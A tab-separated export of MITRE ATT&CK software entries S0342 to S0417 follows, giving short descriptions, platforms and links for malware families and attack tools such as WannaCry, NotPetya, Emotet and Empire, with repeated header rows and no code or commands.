S0342	4	Software	GreyEnergy	[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)					Windows		https://attack.mitre.org/software/S0342

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0343	*4*	*Software*	*Exaramel for Windows*	*[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)*					*Windows*		*https://attack.mitre.org/software/S0343*
S0344	*4*	*Software*	*Azorult*	*[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016.* *In July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)*					*Windows*		*https://attack.mitre.org/software/S0344*
S0345	*4*	*Software*	*Seasalt*	*[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)*					*Windows*		*https://attack.mitre.org/software/S0345*
S0346	*4*	*Software*	*OceanSalt*	*[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)*					*Windows*		*https://attack.mitre.org/software/S0346*
S0347	*4*	*Software*	*AuditCred*	*[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)*					*Windows*		*https://attack.mitre.org/software/S0347*
S0348	*4*	*Software*	*Cardinal RAT*	*[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)*					*Windows*		*https://attack.mitre.org/software/S0348*
S0349	*4*	*Software*	*LaZagne*	*[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)*					*Linux, macOS*		*https://attack.mitre.org/software/S0349*
S0350	*4*	*Software*	*zwShell*	*[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been used by [Night Dragon](https://attack.mitre.org/groups/G0014).(Citation: McAfee Night Dragon)*					*Windows*		*https://attack.mitre.org/software/S0350*
S0351	*4*	*Software*	*Cannon*	*[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)*					*Windows*		*https://attack.mitre.org/software/S0351*
S0352	*4*	*Software*	*OSX_OCEANLOTUS.D*	*[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)*					*macOS*		*https://attack.mitre.org/software/S0352*
S0353	*4*	*Software*	*NOKKI*	*[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)*					*Windows*		*https://attack.mitre.org/software/S0353*
S0354	*4*	*Software*	*Denis*	*[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan.(Citation: Cybereason Oceanlotus May 2017)*					*Windows*		*https://attack.mitre.org/software/S0354*
S0355	*4*	*Software*	*Final1stspy*	*[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)*					*Windows*		*https://attack.mitre.org/software/S0355*
S0356	*4*	*Software*	*KONNI*	*[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017.* *[KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)*					*Windows*		*https://attack.mitre.org/software/S0356*
S0357	*4*	*Software*	*Impacket*	*[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols.* *[Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)*					*Linux, macOS*		*https://attack.mitre.org/software/S0357*
S0358	*4*	*Software*	*Ruler*	*[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)*					*Windows*		*https://attack.mitre.org/software/S0358*
S0359	*4*	*Software*	*Nltest*	*[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)*					*Windows*		*https://attack.mitre.org/software/S0359*
S0360	*4*	*Software*	*BONDUPDATER*	*[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)*					*Windows*		*https://attack.mitre.org/software/S0360*
S0361	*4*	*Software*	*Expand*	*[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)*					*Windows*		*https://attack.mitre.org/software/S0361*
S0362	*4*	*Software*	*Linux Rabbit*	*[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)*					*Linux*		*https://attack.mitre.org/software/S0362*
S0363	*4*	*Software*	*Empire*	*[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)*					*Linux, macOS*		*https://attack.mitre.org/software/S0363*
S0364	*4*	*Software*	*RawDisk*	*[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)*					*Windows*		*https://attack.mitre.org/software/S0364*

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0365	4	Software	Olympic Destroyer	[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)					Windows		https://attack.mitre.org/software/S0365
S0366	4	Software	WannaCry	[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)					Windows		https://attack.mitre.org/software/S0366
S0367	4	Software	Emotet	[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)					Windows		https://attack.mitre.org/software/S0367
S0368	4	Software	NotPetya	[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)					Windows		https://attack.mitre.org/software/S0368
S0369	4	Software	CoinTicker	[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)					macOS		https://attack.mitre.org/software/S0369
S0370	4	Software	SamSam	[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)					Windows		https://attack.mitre.org/software/S0370
S0371	4	Software	POWERTON	[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)					Windows		https://attack.mitre.org/software/S0371
S0372	4	Software	LockerGoga	[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)					Windows		https://attack.mitre.org/software/S0372
S0373	4	Software	Astaroth	[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018)					Windows		https://attack.mitre.org/software/S0373
S0374	4	Software	SpeakUp	[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)					Linux, macOS		https://attack.mitre.org/software/S0374
S0375	4	Software	Remexi	[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)					Windows		https://attack.mitre.org/software/S0375
S0376	4	Software	HOPLIGHT	[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)					Windows		https://attack.mitre.org/software/S0376
S0377	4	Software	Ebury	[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)					Linux		https://attack.mitre.org/software/S0377
S0378	4	Software	PoshC2	[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)					Windows, Linux		https://attack.mitre.org/software/S0378
S0379	4	Software	Revenge RAT	[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)					Windows		https://attack.mitre.org/software/S0379
S0380	4	Software	StoneDrill	[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)					Windows		https://attack.mitre.org/software/S0380
S0381	4	Software	FlawedAmmyy	[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)					Windows		https://attack.mitre.org/software/S0381
S0382	4	Software	ServHelper	[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)					Windows		https://attack.mitre.org/software/S0382
S0383	4	Software	FlawedGrace	[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)					Windows		https://attack.mitre.org/software/S0383
S0384	4	Software	Dridex	[Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)					Windows		https://attack.mitre.org/software/S0384
S0385	4	Software	njRAT	[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)					Windows		https://attack.mitre.org/software/S0385
S0386	4	Software	Ursnif	[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)					Windows		https://attack.mitre.org/software/S0386
S0387	4	Software	KeyBoy	[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)					Windows		https://attack.mitre.org/software/S0387
S0388	4	Software	Yahoyah	Yahoyah is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)					Windows		https://attack.mitre.org/software/S0388
S0389	4	Software	JCry	[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)							https://attack.mitre.org/software/S0389
S0390	4	Software	SQLRat	[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)							https://attack.mitre.org/software/S0390

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
S0391	4	Software	HAWKBALL	[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)					Windows		https://attack.mitre.org/software/S0391
S0393	4	Software	PowerStallion	[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)					Windows		https://attack.mitre.org/software/S0393
S0394	4	Software	HiddenWasp	[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statistically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)					Linux		https://attack.mitre.org/software/S0394
S0395	4	Software	LightNeuron	[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)					Windows, Linux		https://attack.mitre.org/software/S0395
S0396	4	Software	EvilBunny	[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)					Windows		https://attack.mitre.org/software/S0396
S0397	4	Software	LoJax	[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)					Windows		https://attack.mitre.org/software/S0397
S0398	4	Software	HyperBro	[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)					Windows		https://attack.mitre.org/software/S0398
S0400	4	Software	RobbinHood	[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)					Windows		https://attack.mitre.org/software/S0400
S0401	4	Software	Exaramel for Linux	[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)					Linux		https://attack.mitre.org/software/S0401
S0402	4	Software	OSX/Shlayer	[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)					macOS		https://attack.mitre.org/software/S0402
S0404	4	Software	esentutl	[esentutl](https://attack.mitre.org/software/S0404) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)					Windows		https://attack.mitre.org/software/S0404
S0409	4	Software	Machete	[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)					Windows		https://attack.mitre.org/software/S0409
S0410	4	Software	Fysbis	[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)					Linux		https://attack.mitre.org/software/S0410
S0412	4	Software	ZxShell	[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)					Windows		https://attack.mitre.org/software/S0412
S0413	4	Software	MailSniper	MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)					Office 365, Windows		https://attack.mitre.org/software/S0413
S0414	4	Software	BabyShark	[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)					Windows		https://attack.mitre.org/software/S0414
S0415	4	Software	BOOSTWRITE	[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)					Windows		https://attack.mitre.org/software/S0415
S0416	4	Software	RDFSNIFFER	[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)					Windows		https://attack.mitre.org/software/S0416
S0417	4	Software	GRIFFON	[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)					Windows		https://attack.mitre.org/software/S0417